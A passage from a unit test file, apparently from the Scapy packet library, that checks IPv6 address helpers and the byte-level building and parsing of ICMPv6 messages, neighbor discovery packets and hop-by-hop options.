'::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=tmp2) tmp = inet_pton(socket.AF_INET6, '::'+s1) inet_pton(socket.AF_INET6, '::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) ########### RFC 1924 related function ############################### = Test RFC 1924 function - in6_ctop() basic test in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a' = Test RFC 1924 function - in6_ctop() with character outside charset in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None = Test RFC 1924 function - in6_ctop() with bad length address in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() with bad input in6_ptoc('1080:::8:800:200c:417a') == None ########### in6_getAddrType ######################################### = in6_getAddrType - 6to4 addresses in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4) = in6_getAddrType - Assignable Unicast global address in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) = in6_getAddrType - Multicast global address in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Multicast local address in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Unicast Link-Local address in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) = in6_getAddrType - Loopback address in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK = in6_getAddrType - Unspecified address in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED = in6_getAddrType - Unassigned Global Unicast address in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE::1) in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE8::1) in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1::1) in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1000::1) in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) ########### ICMPv6DestUnreach Class ################################# = ICMPv6DestUnreach Class - Basic Build (no argument) str(ICMPv6DestUnreach()) == '\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload) str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == '`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == '`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6DestUnreach Class - Dissection with default values and some payload a = IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a = ICMPv6DestUnreach Class - Dissection with specific values a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach] = ICMPv6DestUnreach Class - checksum computation related stuff a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(str(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum ########### ICMPv6PacketTooBig Class ################################ = ICMPv6PacketTooBig Class - Basic Build (no argument) str(ICMPv6PacketTooBig()) == '\x02\x00\x00\x00\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload) str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == '`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == '`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6PacketTooBig Class - Dissection with default values and some payload a = IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a True = ICMPv6PacketTooBig Class - Dissection with specific values a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a = ICMPv6PacketTooBig Class - checksum computation related stuff a=IPv6(str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(str(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum ########### ICMPv6TimeExceeded Class ################################ # To be done but not critical. Same mechanisms and format as # previous ones. ########### ICMPv6ParamProblem Class ################################ # See previous note ########### ICMPv6EchoRequest Class ################################# + Test ICMPv6EchoRequest Class = ICMPv6EchoRequest - Basic Instantiation str(ICMPv6EchoRequest()) == '\x80\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoRequest - Instantiation with specific values str(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == '\x80\xff\x11\x11""33thisissomestring' = ICMPv6EchoRequest - Basic dissection a=ICMPv6EchoRequest('\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == "" = ICMPv6EchoRequest - Dissection with specific values a=ICMPv6EchoRequest('\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == "thisissomestring" = ICMPv6EchoRequest - Automatic checksum computation and field overloading (build) str(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == '`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00' = ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection) a=IPv6('`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply Class ################################### + Test ICMPv6EchoReply Class = ICMPv6EchoReply - Basic Instantiation str(ICMPv6EchoReply()) == '\x81\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoReply - Instantiation with specific values str(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == '\x81\xff\x11\x11""33thisissomestring' = ICMPv6EchoReply - Basic dissection a=ICMPv6EchoReply('\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == "" = ICMPv6EchoReply - Dissection with specific values a=ICMPv6EchoReply('\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == "thisissomestring" = ICMPv6EchoReply - Automatic checksum computation and field overloading (build) str(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == '`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00' = ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection) a=IPv6('`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply/Request answers() and hashret() ######### = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") b.hashret() == a.hashret() # data are not taken into account for hashret = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata") b.hashret() == a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata") (a > b) == True ########### ICMPv6MRD* Classes ###################################### = ICMPv6MRD_Advertisement - Basic instantiation str(ICMPv6MRD_Advertisement()) == '\x97\x14\x00\x00\x00\x00\x00\x00' = ICMPv6MRD_Advertisement - Instantiation with specific values str(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == '\x97\xdd\x00\x00\xee\xee\xff\xff' = ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Advertisement())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0 = ICMPv6MRD_Solicitation - Basic dissection str(ICMPv6MRD_Solicitation()) == '\x98\x00\x00\x00' = ICMPv6MRD_Solicitation - Instantiation with specific values str(ICMPv6MRD_Solicitation(res=0xbb)) == '\x98\xbb\x00\x00' = ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Solicitation())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0 = ICMPv6MRD_Termination Basic instantiation str(ICMPv6MRD_Termination()) == '\x99\x00\x00\x00' = ICMPv6MRD_Termination - Instantiation with specific values str(ICMPv6MRD_Termination(res=0xbb)) == '\x99\xbb\x00\x00' = ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms a=Ether(str(Ether()/IPv6()/ICMPv6MRD_Termination())) a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0 ########### HBHOptUnknown Class ############################################## + Test HBHOptUnknown Class = HBHOptUnknown - Basic Instantiation str(HBHOptUnknown()) == '\x01\x00' = HBHOptUnknown - Basic Dissection a=HBHOptUnknown('\x01\x00') a.otype == 0x01 and a.optlen == 0 and a.optdata == "" = HBHOptUnknown - Automatic optlen computation str(HBHOptUnknown(optdata="B"*10)) == '\x01\nBBBBBBBBBB' = HBHOptUnknown - Instantiation with specific values str(HBHOptUnknown(optlen=9, optdata="B"*10)) == '\x01\tBBBBBBBBBB' = HBHOptUnknown - Dissection with specific values a=HBHOptUnknown('\x01\tBBBBBBBBBB') a.otype == 0x01 and a.optlen == 9 and a.optdata == "B"*9 and isinstance(a.payload, Raw) and a.payload.load == "B" ########### Pad1 Class ############################################## + Test Pad1 Class = Pad1 - Basic Instantiation str(Pad1()) == '\x00' = Pad1 - Basic Dissection str(Pad1('\x00')) == '\x00' ########### PadN Class ############################################## + Test PadN Class = PadN - Basic Instantiation str(PadN()) == '\x01\x00' = PadN - Optlen Automatic computation str(PadN(optdata="B"*10)) == '\x01\nBBBBBBBBBB' = PadN - Basic Dissection a=PadN('\x01\x00') a.otype == 1 and a.optlen == 0 and a.optdata == '' = PadN - Dissection with specific values a=PadN('\x01\x0cBBBBBBBBBB') a.otype == 1 and a.optlen == 12 and a.optdata == 'BBBBBBBBBB' = PadN - Instantiation with forced optlen str(PadN(optdata="B"*10, optlen=9)) == '\x01\x09BBBBBBBBBB' ########### RouterAlert Class ####################################### + Test RouterAlert Class (RFC 2711) = RouterAlert - Basic Instantiation str(RouterAlert()) == '\x05\x02\x00\x00' = RouterAlert - Basic Dissection a=RouterAlert('\x05\x02\x00\x00') a.otype == 0x05 and a.optlen == 2 and a.value == 00 = RouterAlert - Instantiation with specific values str(RouterAlert(optlen=3, value=0xffff)) == '\x05\x03\xff\xff' = RouterAlert - Instantiation with specific values a=RouterAlert('\x05\x03\xff\xff') a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff ########### Jumbo Class ############################################ + Test Jumbo Class (RFC 2675) = Jumbo - Basic Instantiation str(Jumbo()) == '\xc2\x04\x00\x00\x00\x00' = Jumbo - Basic Dissection a=Jumbo('\xc2\x04\x00\x00\x00\x00') a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0 = Jumbo - Instantiation with specific values str(Jumbo(optlen=6, jumboplen=0xffffffff)) == '\xc2\x06\xff\xff\xff\xff' = Jumbo - Dissection with specific values a=Jumbo('\xc2\x06\xff\xff\xff\xff') a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff ########### HAO Class ############################################## + Test HAO Class (RFC 3775) = HAO - Basic Instantiation str(HAO()) == '\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = HAO - Basic Dissection a=HAO('\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::" = HAO - Instantiation with specific values str(HAO(optlen=9, hoa="2001::ffff")) == '\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' = HAO - Dissection with specific values a=HAO('\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff') a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff" ########### IPv6ExtHdrHopByHop Class ########################## + Test IPv6ExtHdrHopByHop() = IPv6ExtHdrHopByHop - Basic Instantiation str(IPv6ExtHdrHopByHop()) == ';\x00\x01\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO option str(IPv6ExtHdrHopByHop(options=[HAO()])) == ';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert option str(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == ';\x00\x05\x02\x00\x00\x01\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo option str(IPv6ExtHdrHopByHop(options=[Jumbo()])) == ';\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Pad1 option str(IPv6ExtHdrHopByHop(options=[Pad1()])) == ';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with PadN option str(IPv6ExtHdrHopByHop(options=[Pad1()])) == ';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO str(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == ';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert str(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == ';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo str(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == ';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Basic Dissection a=IPv6ExtHdrHopByHop(';\x00\x01\x04\x00\x00\x00\x00') a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == '\x00'*4 #= IPv6ExtHdrHopByHop - Automatic length computation #str(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00toto' #= IPv6ExtHdrHopByHop - Automatic length computation #str(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00tototo' ########### ICMPv6ND_RS Class ####################################### + Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0 = ICMPv6ND_RS - Basic instantiation str(ICMPv6ND_RS()) == '\x85\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer str(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == '`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00' = ICMPv6ND_RS - Basic dissection a=ICMPv6ND_RS('\x85\x00\x00\x00\x00\x00\x00\x00') a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer a=IPv6('`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0 ########### ICMPv6ND_RA Class ####################################### + Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0 = ICMPv6ND_RA - Basic Instantiation str(ICMPv6ND_RA()) == '\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer str(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == '`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic dissection a=ICMPv6ND_RA('\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer a=IPv6('`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 # TODO: Add answers()/Hashret() tests ( think about Cisco routers # that reply with mcast RA to mcast rs ) ########### ICMPv6ND_NS Class ####################################### + ICMPv6ND_NS Class Test = ICMPv6ND_NS - Basic Instantiation str(ICMPv6ND_NS()) == '\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NS - Instantiation with specific values str(ICMPv6ND_NS(code=0x11, R=1, S=1, O=1, res=1, tgt="ffff::1111")) == '\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NS - Basic Dissection a=ICMPv6ND_NS('\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NS - Dissection with specific values a=ICMPv6ND_NS('\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==1 and a.S==1 and a.O==1 and a.res==1 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(str(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NA Class ####################################### + ICMPv6ND_NA Class Test = ICMPv6ND_NA - Basic Instantiation str(ICMPv6ND_NA()) == '\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NA - Instantiation with specific values str(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == '\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NA - Basic Dissection a=ICMPv6ND_NA('\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NA - Dissection with specific values a=ICMPv6ND_NA('\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(str(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NS/ICMPv6ND_NA matching ######################## + ICMPv6ND_ND/ICMPv6ND_ND matching test = ICMPv6ND_ND/ICMPv6ND_ND matching - test 1 # Sent NS a=IPv6('`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1') # Received NA b=IPv6('n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1') b.answers(a) ########### ICMPv6NDOptUnknown Class ################################ + ICMPv6NDOptUnknown Class Test = ICMPv6NDOptUnknown - Basic Instantiation str(ICMPv6NDOptUnknown()) == '\x00\x02' = ICMPv6NDOptUnknown - Instantiation with specific values str(ICMPv6NDOptUnknown(len=4, data="somestring")) == '\x00\x04somestring' = ICMPv6NDOptUnknown - Basic Dissection a=ICMPv6NDOptUnknown('\x00\x02') a.type == 0 and a.len == 2 = ICMPv6NDOptUnknown - Dissection with specific values a=ICMPv6NDOptUnknown('\x00\x04somestring') a.type == 0 and a.len==4 and a.data == "so" and isinstance(a.payload, Raw) and a.payload.load == "mestring" ########### ICMPv6NDOptSrcLLAddr Class ############################## + ICMPv6NDOptSrcLLAddr Class Test = 